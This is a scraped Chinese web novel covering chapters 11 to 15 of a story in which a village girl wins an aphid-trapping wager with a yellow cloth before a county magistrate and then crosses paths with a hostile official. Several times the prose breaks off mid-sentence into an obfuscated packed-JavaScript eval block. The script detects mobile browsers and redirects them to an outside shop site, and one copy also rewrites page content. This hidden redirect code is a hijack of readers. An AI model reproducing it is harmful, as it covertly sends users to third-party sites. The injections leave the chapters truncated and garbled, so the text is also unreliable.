傅德清的头上开始冒虚汗，他掏出汗巾擦拭，不过几下就汗巾就有些濡湿。他嫌弃地随手丢置一旁，心烦意乱。 恰巧这时知县派人问询两人所需要的东西，乔元不藏私，把自己要的东西一并说了。仆役转而再去问傅德清，只见两人一番耳语，仆役行了一礼便出门去了。 和仆役说完话，傅德清的神色明显轻松了许多，甚至有闲心同身边的人说笑起来。站在另一侧的乔元透过人群看了他一眼，唇角依旧带着似有似无的笑意。 对她而言，傅德清已入必输之局。就算他想要使些计谋，也不过是垂死挣扎。 人大都聚集在傅德清那侧，乔元这头的人少的可怜。只有几位同在末席的里正，和一些在那头挤不下，寻思这边宽敞些才来的人。 见乔元独自站在一旁也不说话，里正不放心的走到她边上，话语里透着担忧：“元姐儿，你可有把握？” 乔元回过神，冲他笑笑，“里正不必担心，仙人授法，哪有失败的道理。” 是了，听到肯定的答复，里正放心下来，一齐陪她站在边上。 两人丝毫不见慌张，倒是乔伯石隐在人群里，面色难看。 半刻钟后，出去采买的人和去找蚜子的人一齐回来了。 县里少农田，麦地多在城外，知县手下的人便随意找了一些带蚜子的菜叶放到了长桌中间。 反正这赌约比的是驱蚜子，怎么驱不是驱。 二人要用的东西也全都放在了长桌上。 傅德清那边是一捆扎好的上好柏枝和一盆炭火，而乔元这边则是一块小的可怜的黄布和一罐浆糊。 东西到齐，周进被人从屋里请了出来，坐到了正中廊檐下专门为他准备的椅子上。 香炉已经摆在长桌前，只要他一声令下，马上就有专人开始计时。 “二位可准备好了？”周进道。 乔元同傅德清分别在长桌的两端站定，对视一眼后齐声道，“禀知县大人，准备好了。” “开始！” 随着周进的一声令下，线香被点燃。傅德清和乔元同时抓取桌上的东西开始忙活起来。 今日要是输给这丫头片子，怕来日他这张脸就要被丢在地上踩了。 傅德清将能握于掌中的柏枝全都抽了出来，放到炭盆上引燃。仆役给他买的这捆柏枝极好，干燥易燃，不过一会儿功夫就已经开始冒白烟了。 见乔元还在那头慢吞吞的，傅德清面露不屑，这丫头果然是在虚张声势。 他将已经引燃的柏枝凑到沾着蚜子的菜叶边上，开始驱蚜。滚滚浓烟熏着菜叶，没过一会儿，果然有一些蚜子掉落了下来。 这法子当真有用！傅德清心下很是得意，愈发将柏枝靠近菜叶。 而站在另一头的乔元，正不紧不慢地将黄布的位置调整到阳光下。 仆役送过来的浆糊她已经打开看过了，里面被掺了至少半罐水，稀拉的像是米汤。她总共就向仆役要了两样东西，黄布和浆糊。想来是仆役觉得黄布过于显眼做不了手脚，思来想去便只能对着用陶罐装的浆糊下手了。 只可惜，黄板能沾蚜虫，发挥功效的并不是涂在上面的胶水，而是黄色本身。浆糊只不过是乔元的障眼法，只要黄布足够亮眼，就必定能吸引蚜虫。 搅了搅浆糊里的水，乔元也不甚介意，将它涂在了黄布的中间部分。 蚜虫喜食汁液，水又何尝不算是一种汁液呢。 做完这一切，乔元将黄布的一端用石头压住，从人群外找了张凳子，便坐在长桌旁边不动了。 在众人眼中，傅德清那头被柏烟熏的直呛，而乔元这头意外却岁月静好了起来。 围观的人愈发好奇了。 “这丫头怎么不动了？”有人出声道。 “莫不是她觉得自己比不过傅里正，已经着手放弃了？” “瞧这是这么回事，看来傅里正注定命中带女，有人上赶着要给自己找个爹呢。” 人群发出一阵阵浪潮般的笑声。 又有人道：“可她那块黄布又是怎么回事？” “大概是怕知县责罚，故意弄点东西出来装装样子的罢。” “我瞧着不像，那丫头胸有成竹的，难不成她真有什么高招？” 围观众人你一言我一语的猜测着，现场很是热闹。连坐在上头的周进也不禁紧盯着二人，生怕错过了什么。 听得众人言语，原本觉得胜券在握的傅德清再度紧张起来。 旁人离的远看不真切，只他自己知道，刚刚被他熏下来的蚜子，不知怎的又爬回了菜叶里，甚至越缩越里面。 汗珠在他的脸上汇成溪流，傅德清也顾不上擦，他不断的翻动菜叶，又将柏枝再靠近几分，想要把蚜子逼出来。 可这蚜子就像粘在了上面似的，任凭他用柏枝怎么熏燎，都纹丝不动。 那厢的乔元休息了会儿，见黄布上的浆糊混水汁液要被晒干了，便从陶罐里再舀出些抹了上去。 风从傅德清的方向吹过来，熏柏的味道异常浓烈。 作为一名合格的昆虫学家，在乔元看来，傅德清的熏柏法是符合一定的生物规律的。 蚜虫没有嗅觉，但是可以通过触角来感知周围环境中的化学信号变换。若是周围环境发生异变，会有部分蚜虫会从植物上脱离下来，主动寻找环境变换的原因。 这也就是为什么万宝村人，觉得烟熏可以去除蚜害。 但可惜的是，蚜虫不同于其他昆虫，它们一旦发现当前环境已经不适宜生存，马上就会躲到植物的更深处开始积蓄营养，它的群体中也会出现有翅型个体。这些有翅型蚜虫只待时机成熟，便会飞到新的宿主植物上去寻找更好的生活环境，再在那里发展出另一个群体。 傅德清这部分的蚜虫，恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周进又转到另一头，这回，他第一眼看到的不是菜了，而是黄布上聚集成团的蚜子。乔元面前的菜叶一如刚摘下来一般水灵，可这菜叶里的蚜子却已经爬出来团聚在了黄布上，密密麻麻的，像是被施了定身咒一般，不管他怎么扯动黄布，这些蚜子都恍若未觉，一动不动。 神迹！这是神迹啊！ “这这这，你是怎么做到的！”周进瞪大眼睛盯着乔元。 一直等在旁边的人听知县如此说道，再也按捺不住好奇心了，一个个忙不迭的都凑上来看，待看清黄布上爬满的蚜子后，俱是倒吸一口凉气。 这到底是怎么回事！蚜子怎会全都爬到了黄布之上！ 还有些人不死心的将乔元这边的菜叶翻了又翻，脸都快贴到菜叶上了，却仍旧不见菜叶上有任何一只蚜子。 见人群骚动不止，因为身子骨不好站在人群外围的里正，这才在脸上露出得意的笑容。 大惊小怪。 这点蚜子算什么，他们是没瞧见元姐儿家地里挂的那些黄板，那才是真真令人震撼。 不知怎的，有个词突然自他脑海当中冒了出来，让里正觉得形容这些人恰到好处。 真是一群乡巴佬。 12. 进城（三） 站在长桌右侧的傅德清见众人围在那丫头桌前纷呼‘神迹’，他将柏枝一甩，颠着身子就跑了过来。 “起开，都起开，让我看看。”傅德清用力挤开挡在他面前的人，双手一撑扑在桌上。 长桌不大，上头本就没什么放东西，爬满蚜子的黄布顷刻间就占据了他的视线。 黄布上的蚜子因为方才众人的传阅有些掉了下来，可即便如此，这蚜子的数量，依旧比他熏出来的要多上数十倍。 “怎会……怎会……”傅德清喃喃道。他的双目开始无神，眼前天旋地转。 他怎么会输给一个连毛都没长齐的野丫头！ 不对，肯定有问题。 想到这里，傅德清双眼对焦，捏着黄布当即就跪到了知县面前。“知县大人，这丫头定是使了什么邪术，不然这蚜子怎会好端端的爬到一块黄布上头。 “敢问傅里正，众目睽睽之下，我是使了什么邪术？”乔元挺直脊背，站在傅德清身后反问道。 这样的说辞她都有些听腻了。 “你……这……”傅德清有些语无伦次，“谁知你使的是什么邪术，反正不是些好东西。不然你何以解释这蚜子会爬到黄布上？！” “我所用的东西都是知县派人一力准备，难不成你是在拐弯子骂知县用邪术？”乔元轻飘说道。 傅德清一听这话，见周进脸上本就不愉，忙摇头道：“不不不，下官没有这个意思。” “还是说你觉得这掺了水的浆糊，能粘住蚜子？”乔元顺手将桌上的陶罐拿起，呈于众人面前，离的近的人皆探头看了看，陶罐里面的液体呈半透明色，用勺子一舀，流水状的液体就从勺端滴答落入罐中。 “这哪里还算是浆糊，简直比大旱时的米粥还要稀些。” “这浆糊是哪家铺子买的，我可得告知家人，莫要再去了。” “傅里正，你糊涂呀！” 周进本将这场赌约当成笑话来看，却不料同他走的近的傅德清却输了，还蠢到在对方的浆糊中加水。 他娘生他的时候，难不成是将他的心眼拿去喂猪了。 眼下各村的里正都在看着，周进自知无法偏颇，他狠狠甩袖，重新坐回廊檐下的主位上。 “傅德清，你说！这到底是怎么回事！” “这……”傅德清被周进的气势吓的抖若筛糠，脸都憋成猪肝色了也说不出半句话。 “说话！” “下官……下官……” 周进的耐心耗尽，他点了点刚刚出去采买的仆役道：“你来说。” 仆役本想着趁着此事捞点油水，却不料这么快就东窗事发，他‘噗通’跪地，涕泪横流道：“禀知县，是傅里正说只要小人能在乔姑娘用的东西里做手脚，事成之后，他就给我一贯钱。小人只是一时迷了心窍，并非有意啊。” 说罢，趴在地上咚咚磕头。 “你血口喷人！”傅德清哪里还敢让他继续说下去，忙阻止道。 “小人所言句句属实，的确是傅里正让小人在浆糊里加水的。” 傅德清想上前同他理论，不料下一瞬，“砰”的一声，茶盏在地上碎开，杯里的水溅湿了傅德清的下摆。 “你闭嘴！”周进面露狠戾。他还以为自己那点子心思瞒的很好呢！ 傅德清一哆嗦，吓的整个人都瘫倒在地上。“知县息怒，知县息怒。” 站在周边看戏的众人心头暗叫不好，也躬身道：“请知县息怒。” 乔元依旧站在桌边，眼前这出狗咬狗的戏码看的她甚是无趣。趁着众人噤声的功夫，她当即上前一礼道：“敢问知县，如今这赌约算谁赢了？” “元姐儿！”这丫头是看不出知县正在气头上吗，里正急道。 听得乔元如此问，周进这回终于正眼看了看站在下面的丫头。旁人都吓的不敢说话了，偏她还敢上前质问，小小年纪，倒是比傅德清那蠢货强上许多。 况且，她手里还有能引蚜子的秘方。 想到此处，周进的脸色舒缓不少，他又背靠椅子端坐起来，“乔家丫头，自然是你赢了。” 没料想知县竟如此轻易的宣判了他的失败，傅德清没稳住身行，面如菜色。 里正也同样没想到知县会直接判乔元赢，傅德清接替他爹上位后，明里暗里欺辱他们这些小村里正多年，没想自己有生之年到还能看到他吃瘪。里正只觉如坠云端，整个人都飘飘然起来。 隐在人群里的乔伯石听知县如此说道，轻舒了一口气，但他似又想到了什么，神色几经变幻，面上还是有些不甚如意。 得到想要的结果，乔元缓步走到傅德清面前道：“既然如此，傅里正，请吧。” 输了赌约，就该叫爹了。 傅德清半趴在地上面容扭曲，没人知道他现下是连肠子都快悔青了。让他一个都能做这丫头爹的人管她叫爹，这同让他去死有何分别！ 傅德清嘴唇嚅嗫，愣是说不出一句话来。 “怎么，傅里正这是打算不认账了？” 傅德清平日里仗着同知县有几分交情，奚落起人来从不留情面。如今他输给一个野丫头，看他不顺眼的人早就等着落井下石了。 “怎会，这赌约是知县亲口承认的，如今知县都说傅里正输了，他怎敢不喊。” “喊一个小丫头做爹，真是……有伤风化。”零散的笑声在花园内溢出。 众人的言语一字不落的飞入傅德清的耳朵里，他的脸一会儿红一会儿白，喃喃似要张口，嘴里却没有任何一个音节发出。 乔元居高临下的看着瘫倒在地上的傅德清，不过输去一次赌约，他就已经失了飞扬跋扈的气势，满身肥肉下坠在地，让人无端觉得有些恶心。 见傅德清迟迟不开口，算了算时间后乔元道：“若是傅里正叫不出这一声爹，我倒还有个折中的法子。” 傅德清一听，哪里还管得上别的，忙道：“你快说！” 乔元直言：“今年秋收的田税，烦请傅里正帮我们村分担一半。” “什么！？”傅德清原本有些低垂的头颅的头瞬间上仰，满脸不可置信。 什么叫分担石湾村一半的田税？ 坐在椅子上看戏的周进在听完这句，原本不大的眼半眯成一条缝，这丫头打的是什么主意。 无人想到乔元竟这般胆大，居然敢要求傅德清去承担石湾村的田税。连里正听的都有些发蒙，元姐儿这是想干什么？ 傅德清吃力地从地上站起，怒骂道：“你是疯了吗？” “傅里正若不想承担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一场戏剧化的赌约以戏剧化的结尾告终，众人散去的时候，依旧觉得有些莫名。已经没人在意为什么黄布能引来蚜子了，众人脑中只想着，天杀的石湾村竟能占上这天大的便宜。 人群散去，乔元故意落在最后走的慢些，果然，有仆役叫住她，说知县请她去后院。 后院的桌椅摆放比前头更显奢华，乔元被仆役带到椅子上品茶，茶汤清亮，乔元轻抿一口，清香扑鼻，回味悠长。她在心里感慨道，不愧是知县府里的茶叶，油水多的地方连茶都比外头的香上一些。 不多时，周进走了进来，乔元忙起身行礼。 “坐罢坐罢。”周进随手一挥。 “现下你可能说，为何你这黄布能引来蚜子了？”比起傅德清这个蠢材，周进更在意乔元手里的驱蚜秘方。 他在这里已经待了六年了，年年升迁无望，这驱蚜秘方可能是他最后的希望。 乔元比周进更清楚他今日肯帮她的原因，她道：“我幼时遇一高人，他曾告诉我这驱蚜秘方，乔元今日随里正前来，来本就想将这秘方献于知县。” 周进今日当场见过这秘方的奇特之处，他心中一喜道：“还不快说。” 乔元便把做黄板需要的东西和方法一齐说了。 “只这么简单？” “只这么简单。” 周进若有所思，挥手示意乔元先行回去。 乔元却不抬步，她在在原地站定，“还有一事，想与知县商讨。” 13. 进城（四） 周进脑中正琢磨着怎样才能将这方子呈到州府，得以换取最大的利益。乔元的话让他从这般 思绪中挣脱出来道：“还有何事？” 乔元在来的途中，就已向里正打听过眼前这位知县了。 周进，大成二十四年上任金台县知县，喜奢靡好风月，任职多年毫无建树。 景朝的知县三年一考绩，按理说像他这样的人理应在三年前就该被降职或是调离。可周进愣是平安无事的待到了第六年，想来也只有一个原因——背靠大树好乘凉。 乔元整理了说辞道：“这黄板制作虽简单，但挂法和密度都极有讲究，若是知县信得过，不如让小人接管此事，只肖七日，必定起效。届时若金台县的治蚜方略传扬开来，对知县而言，岂不是是大功一件。” 乔元这几句话倒是说道周进心坎里了，眼看百官考绩将近，若他今年再不拿出些功绩来应对巡查，怕是不好对上头交代。 “就凭你？”眼前这丫头虽说有点小聪明，但总归不过是个丫头片子，周进眼带怀疑。 乔元耐着性子道：“师傅只将此法传于我一人，这世间再无第二人知晓如何发挥出黄板最大的效用。知县若是不信，大可派人去石湾村的地头看看，石湾村蚜害已经去了一半，再过几日，便可正常农耕。” “且有金台县做例，知县向州府呈交方子的时候，定然再无人敢质疑。” 乔元的话在周进脑海里描绘出了一个滔天大饼，告诉他只要这么做了，他就可以在治蚜害中获旁人难以企及的头等功勋，加官进爵指日可待。 周进神色明显动摇，乔元适时再补上一句，“春耕将过，若知县再犹豫，被他人抢了功劳，岂不是白白错失这大好良机。” “你可有十成把握？”周进松口。 乔元深行一礼，“定然不负知县所托。” “好。”周进立时道，“那本知县便命你全权掌管此间事宜。”说罢，他拍了拍手，不多时，从外间进来个端着盒子的仆役，打开盒子，码的整整齐齐的银锭显露在二人眼前。 乔元接粗略扫了一眼，至少有三十两。 周进道：“这些钱你先收着，若此事能成，本知县便赏你泼天富贵。” 乔元会意，很是上道，“那乔元便在此先行恭贺知县晋升之喜了。” 周进被乔元的话吹捧的飘飘然，仿佛已经看到自己入主州中上任的样子了。他一改先前的嫌弃，面路和善道：“那你便先行告退吧，本知县等你的好消息。” “大人，大人。” 乔元告退的话还未出口，从门口跌跌撞撞跑进来个人，语气张皇失措。 周进和乔元俱是一惊。 “何事如此惊慌！”周进厉声道。 来人吞咽了几次口水，这才顺着气把话说完，“禀知县，巡检司带人到门口了，说要擒了宋录事去。” “什么？！”周进迅速从椅子上站起，直奔前院。 周进一走，后院厅里孤零零的就剩了乔元一个了。左右今日的目的已经全数达到，乔元端着盒子，也跟着往前院走。 经过长廊，再路过方才的花园，远远就听见大堂里爆发了激烈的争吵。 “江稷，你当这着县衙是街口市场，你说带走谁就带走谁吗！”周进言语里的怒气抑制不住。 “不过带走个录事，怎的知县大人还生气了。”听声音，接话的是个年轻男人，他嗓音慵懒低沉，话里话外丝毫不畏惧周进的权势。 摸不清男人什么来头，乔元不敢贸然上前，便只扒在侧边的屏风后，偷偷往前看了一眼。 乔元这个角度看不到男人的正脸，只能略看清他的衣饰和身行。 被称作江稷的男人正坐在周进下首，身穿青色公服，腰着黑色系带，头发被木制的头冠简单束起，浑身上下没有丝毫累赘之物。 男人的仪态很是端正，可行事却是不羁，在乔元看来像是个矛盾体。 周进怒极反笑，讥讽道：“你莫不还以为你们临阳江氏权势滔天？我告诉你江稷，先不论你不过出身江氏旁支，你们江氏一族既已被天子惩处，你就在此地给我夹紧尾巴做人。” “此言差矣。”江稷端起左手边的茶盏，微晃了晃。“临阳江氏是临阳江氏，我今日是以此地巡检使的身份而来，二者不冲突。” “况且我提走宋录事，是实实在在掌握了些东西，不然今日哪敢进知县的门。”江稷喝了一口杯盏里的茶，笑着往后一倚。 江稷的淡然让周进面色更加难看。 月前金台县的巡检司换了领头人，据说是从京城来的，周进多方打听，才知对方是临阳江氏之后。 临阳江氏，起于乱世，累世公卿，门第高华，江氏先祖陪太祖东征西讨，得封越国公，享无上荣光。只可惜三年前朔州之战江氏对上夷狄战败，致使景朝损失城池十六座，天子震怒，将江氏主支削官夺爵，自此之后，江氏才慢慢沉寂下来，不复往日光彩。 不过毕竟大家在一地共事，周进还是客客气气的摆了席面延请对方。却不料对方不仅不领情，还在当日就抓了他手下一个办事的。 周进几次要人无果，只得吃了这个哑巴亏，他和江稷的梁子也就是自那时结下的。 侍立在一旁的仆役很有眼力的换上新的茶水，再躬身在周进一旁扇风，这才让周进被怒火冲昏的头脑平复下来。 周进冷哼一声，坐上主位，“你既说宋录事犯了事，那敢问他所犯何事？” 江稷像是早就料到周进会如此说一般，他道：“宋录事犯的事可不是三言两语就能说清的，知县若是想知道，不如和我同去巡检司？” 乔元猫在屏风后头静静地听着两人的对话，听到这话眉头一皱，这人说话也未免太过嚣张了些。 周进知道江稷没那么好应付，再三隐忍道：“宋录事隶属于县衙，若出了什么事那也理当由我先行审问，劳动不到你们巡检司。” 江稷摇了摇头道：“此时本该由知县出面，只不过我等了这些时日，知县都没发现宋录事的作为，那便只好由我们巡检司先行带走审问了。” 周进总共同他不过打过几次交道，没想到此人竟如此难缠。 将茶盏里的茶水喝尽，江稷对身后人道：“行了，去请宋录事出来罢，别白白耽误了功夫。” “是。”有人领命而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367869|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “江稷！你敢！”周进目眦欲裂。 江稷却是丝毫不在意，示意带过来的人直接去县衙后院抓人。 周进忙派人去拦，但县衙内的属吏，又哪里打的过天天在刀尖上抓捕贼犯的巡检司。 属吏被隔开，不过多时，一位垂垂老矣的录事就被带了出来。 趁着没人注意，乔元探头看了看。录事面上饱经风霜，一头白发，低头唯唯诺诺地走在前头，怎么看都不像是犯了事的人。 领命而去的邹尧推搡着宋录事到江稷面前，道：“禀巡检使，人已带到。” 听闻此言，周进已是再也不能忍下去，他将杯盏直接砸到江稷脚下，“无故带走朝廷官员，江稷，你可知这是何重罪！” 碎瓷片划破了江稷的面颊，隐隐露出一丝血迹，他嘴角透着嘲弄道：“若我有罪，那也是知州说了算，就不劳知县费心了。”说罢，他掂量掂量握在手里的茶盏，瞬间发力往周进所在的方向砸去。 在金石县向来只有周进砸别人的份，见茶盏往自己所在的方向飞来，周进顿时被吓的立住不动，只一味的闭起眼，用手挡在身前。 意料之中的疼痛没有出现，周进听得侧身后传来屏风倒塌和茶盏碎地的声音。 躲在屏风后的乔元，正一心猫在后头偷听二人说话，却不料引火上身。屏风被茶盏一砸，瞬时倾倒在她的身上。躲闪不及，她的半个身子都被压在屏风下，背上一阵火辣辣的疼痛。 在场众人，连周进都被江稷方才的举动吓的有些发懵，谁都不知道这里还躲了一个人。 没人敢上前扶她，乔元只得用力推动压在身上的屏风，从里头慢慢挪出来。 有脚步声朝她这边而来，不过一会儿功夫，她的面前就横了一双墨靴。江稷低沉的声音在她头上响起，“有只狸奴猫在这儿偷听了许久，周知县，你该管管你县衙里的人了。” 这茶盏明明就是对周进方才砸他行为的报复，乔元知道这是江稷拿她杀鸡儆猴呢。 她今日应对了傅德清的羞辱，又毫无尊严的讨好周进，心里本就窝了火，好端端的被江稷砸成这样，乔元抬眼的时候没有压制情绪，杏眼圆瞪，满脸怒容。 这点子愤怒，待看清男人的面容后，瞬间消失无踪。不过瞬息，乔元马上低头，尽量不让江稷看清自己的样子。 江稷敏锐的察觉到少女的情绪变化，他道：“你我可曾见过？” “不曾。”乔元回答的很是果断。 “是吗？”见少女明显的躲避，江稷笑的意味深长。 他不再拘泥于此，重新走回周进面前道：“今日便如此罢，宋录事便由我巡检司带走了，他日待宋录事认罪，我们巡检司自会将案情呈于知县。” 江稷打了个手势，巡检司的人来的快，去的也快，眨眼间就带着宋录事走的无影无踪，余下一地碎瓷片和一个倒下的屏风。 回过神来的周进气的骂了好几声娘，却最终无法，只得叫人进来收拾烂摊子。 艰难从屏风下挪出来的乔元，此刻坐在地上，努力抑制住狂跳的心脏，好叫人看不出端倪。 方才那人，就是那日河边被她所救，却欲杀她之人。 14. 进城（五） 被江稷这一闹，周进也没了旁的心思，稍微交代了乔元两句，便让她先行离去。 抱着周进给的银锭盒子，乔元微躬着身缓步往外头走去，背上应是肿了好大一块，衣物和肿块的每一次接触都磨的她生疼。 乔元抬头看去，晨时来的艳阳已经变了天，层云将日光夹在缝隙里，只漏出了一丁点，没的一会儿，就又被遮盖。 走出县衙大门，里正和乔伯石正等在县衙外的牛车旁。 自乔元被知县喊走已经过了小半个时辰，他们二人一直等在外头。途中见着巡检司肃杀而来，又见有人从县衙里被带走，目睹全过程的二人很是惴惴不安。 如今终于见到乔元从里头出来，坐在牛车上的里正忙打起精神，招呼着乔元快些过来。 里正岁数大了，眼睛看的没那么清楚，待乔元走近些，他才察觉乔元的脸色有些不对劲。 “伯石，快去将元姐儿扶过来。”里正道。 乔伯石依言下了车轼，走到乔元面前将人扶过来。 这人进去的时候还好好的，怎的出来的时候偏受伤了。 “元姐儿，发生什么事了。”里正心头已经没了先前见傅德清吃瘪时的高兴，言语里满是担忧。 “莫不是你得罪了知县，被打了一顿？”乔伯石猜道，语气里透着责怪。 方才乔元还未出来的时候，他便在和里正商讨。这丫头如此大胆，竟敢当着知县的面同他人叫板，此次是侥幸得赢，若下次输了，倒霉的岂不是石湾村几十户老小。 乔元虽痛的鬓角冷汗直出，但她还是分出了几分目光粗略扫了一眼在场的两人。 里正眼里的担忧不似作伪，乔伯石却是明晃晃地透着反感。 将二人的反应记在心里，乔元缓了口气才道：“并非知县怪罪，只是方才巡检司抓人时不小心被误伤了而已。” 听乔元如此说，里正舒了一口气，而后才道：“伯石，快，去找最近的医馆。” 见乔元并未给石湾村惹事，乔伯石的面色稍好了些，将乔元扶上车，便驱车前往医馆。 医馆离县衙不远，又有牛车相送，不多时乔元便被接诊的郎中带进去医治。 景朝民风较前朝开放，但乔元伤在背上，况她又是未出阁的姑娘，郎中便请了他娘子搭把手，进屋来帮乔元上药。 草药贴在背上，带着一丝凉意，乔元舒服的喟叹一声。 “姑娘，你背上的伤应是被重物力压所致，这几日记得切莫劳动，多卧床休息，不然留疤了可就不好看了。”郎中娘子说话轻声细语，身上还带着点药香。 乔元趴在榻上，学着男人拱了拱手道：“多谢娘子。” 郎中娘子被乔元逗笑，道：“那姑娘且在此地稍憩，待我将姑娘这几日要用的药配齐，姑娘再起身也不迟。” 说罢，她转身便去了外间帮乔元配药。 屋子里头安静下来，垂纱隔绝了外人的视线，只闻得从窗外飘进来的阵阵药香。 乔元今日终是短暂的得以稍歇。 身体可以休息，可脑子却不能。乔元换了个姿势趴着，开始仔细回想方才在县衙内发生的事情。 按今日的情形来看，周进同江稷势如水火，她虽不确定江稷是否认出她就是当日河滩上之人，但可以确定的是他已经把她当成了周进的人。 在乔元看来，江稷此人睚眦必报，不达目的誓不罢休。 她今日仅被当成周进的人，就得到了他如此警告，若他日被他知晓是她在河滩上打了他，乔元难以想象会受到他如何报复。 乔家只是贫农，而对方是巡检使。 乔元的眉头深深皱起，她得尽快攒钱，攒的越多越好，这样才能早日带着家人离开这里。 权贵最不喜他人知晓他们落魄时的过往，最坏的情况，若有朝一日东窗事发，她也能给乔家人留条后路。 周进给的盒子，从县衙出来乔元就一直带在自己身边，现下她打开数了数，盒子里足有三十六两。 按景朝的一石大米一贯钱来算，这一盒子的钱已经足够她在金石县买上一间地段不错的房子。 只可惜这些钱是乔元从周进手中骗出来，想给金石县的村子治蚜害用的。 若真想攒钱，还得想个什么营生。 正当乔元在榻上琢磨怎样才能多赚点钱，郎中娘子掀起帘子走了进来。 “姑娘，这些便是你这几日要用的药了，我已将这些药分类包好，你回家去碾碎敷上便可。” “多谢。” 在郎中娘子的帮助下穿好衣服，乔元提着药走到外间。 里正和乔伯石坐在医馆一角，见她出来了，里正问道：“元姐儿如何，可觉得好些？” “多谢里正关怀。”乔元背上有伤不便行礼，便只点头示意。 见她脸色比之前好上许多，里正也放心下来，“你既好了些，那我们也是时候启程回石湾村了。” “不忙。”乔元道。“我有一事想同里正商议。” 医馆里人多口杂，不便论事，里正便让乔伯石找了处僻静的茶馆，三人点了最便宜的茶水，要了个隔间。 隔间里，待店家将茶水上毕，乔元这才把一直带着的盒子放到了桌上。 “元姐儿，方才就一直见你拿着这盒子，这盒子里是？”里正开口问道。 “待里正看了便知晓。” 乔元打开盒子，在二人好奇的目光里，三十六个码的整齐的银锭显露在他们眼前。 “这……这是……”里正一时被吓的说不出话。 乔伯石也同样被吓了一跳，但他马上接话道，“你这是打哪儿来的？” 乔元淡淡看了一眼乔伯石道：“知县给的。” “知县怎会赏你这么多银锭？”里正奇了。 他当了这么多年的里正，只见到别人往周进府里送东西的份，少见他拿东西出来赏人的。 就说那傅德清，若不是明里暗里送了周进许多金银，哪里轮得到他这个岁数的人坐在最前头。 “这件事，同蚜子有关。”乔元道。 她将盒子仔细收好，防止有人进来撞见。随后才将周进请她入后院商谈，还有周进许她治蚜害的事同二人说了。 语毕，乔元指了指木盒道：“这盒子银锭，便是知县许我治金石县蚜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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里正听完，拍案叫绝，“元姐儿，你真是我们石湾村的福星！若真如你所说，我们村不仅不用再被这蚜子所害，还能通过售卖黄板来赚得闲钱。” “况且傅德清已经答应承担我们村今秋三成的田税，若他信守承诺，今年我们石湾村看来是能过个好年了。”里正眼里满是激动。 听完里正所说，靠在墙边的乔伯石神色也有所改变，如此说来，的确是件好事。 “可这么多的材料，我们得上哪儿去找？”里正犯了难。 “这也正是我想同二位商讨的地方。”乔元道，李永丰单是承担石湾村一个村的木板用量，就已经有些坚持不住。 里正思索片刻，道：“不如我们去西市看看，我记得那儿有一块地方专门给木匠做活。” 事不宜迟，里正催促着乔伯石趁着还未闭市，快点驾车带着二人前往西市。 景朝没有夜市，除却初一十五的集市，人们日常的买卖便都设在了东西两市。东市主要售卖些如珠宝、丝绸般的奢侈品，西市则主要售卖一些木材、陶器、布料等日常用品。 几人到了西市，便直奔木匠聚集地而去。 木匠不像别的商家一般靠买卖生活，大都靠的是自己的手艺，故而做的好些的木匠摊位上便多有人流连询价，做的不好些的便是门可罗雀了。 好在制作黄板只需要些寻常的木片，用不到多高深的木工技巧，几人随意找了一家生意尚可的店铺，便准备进去询价。 15. 进城（六） 见有人进门，店门口侍立的人即刻便迎了上来，“几位是想买些什么，大到家具桌椅，小到梳子勺柄，我们店里都有。若是不喜欢这些样式，几位只要说出个大概来，我们都能定制。” 里正走在最前头，他随意扫了一眼店铺里的东西问道，“你们店里可售木片？” 侍者愣了一下才道：“有是有，敢问这木片是用在何处，要何大小？” 里正看了一眼乔元，乔元会意上前道：“你们店中可有如此大小和薄厚的木片？” 乔元边说，边比划给对方看。 侍者点头道：“几位稍等，我这边去拿些出来。” 木匠店里多的是桌椅板凳，几人随便找了张凳子坐下，不一会儿侍者就端了一斗木片出来。 “几位请看，可是要这样的木片？” 乔元上手摸了摸，薄厚虽各有参差，但黄板所求不高，这样的已可堪用。 她抬头问道：“如此一斗木片，要价几何？” “十文。” 同李永丰说的分毫不差。 乔元道：“五文如何？” 侍者道：“烦请姑娘莫为难小的，这价钱是店主定的，企是我一人可改。姑娘金口一开便砍去一半价钱，这让我们还如何做得生意？” 乔元不欲多言，“那你便把店主叫出来。” “这……”侍者显得有些为难。 这几人的穿着打扮，一看便不像是有钱人，且上来问价的便是最便宜的木片，若是他因着这点事情去请店主，回头被店主责骂岂不冤枉。 看出了侍者的心思，乔元从袖里掏出早就准备好的两块银锭，直接丢在桌上。 “现下可能去了？” 侍者原本有些不耐的脸上登时堆起笑意，“去得去得，几位贵客请稍坐，店主马上就来。” 正如侍者所言，乔元一行人还未说上几句话，一个身材高瘦，身着直领对襟长袍的男人便快步走了过来。 到了几人面前，他先是一礼，而后道：“劳贵客久候，我是这儿的店主，姓方，名志永，几位可是想谈这木片的价格？” “正是。”乔元直言道，“方老板，这木片五文一斗可卖？” 方志永已经听伙计说了大致的情况，他笑道：“姑娘莫拿方某开玩笑，这木片若卖五文一斗，我这店铺岂不是都要亏空了。” “真不卖？” “这……”方志永犹豫了一瞬，伙计说他见这几人手里拿有好几块银锭，不像是差钱的主。他想了想道：“若姑娘要的多，我便卖八文一斗，如何？” 乔元笑了，“方老板，你这不是诚心做生意。” 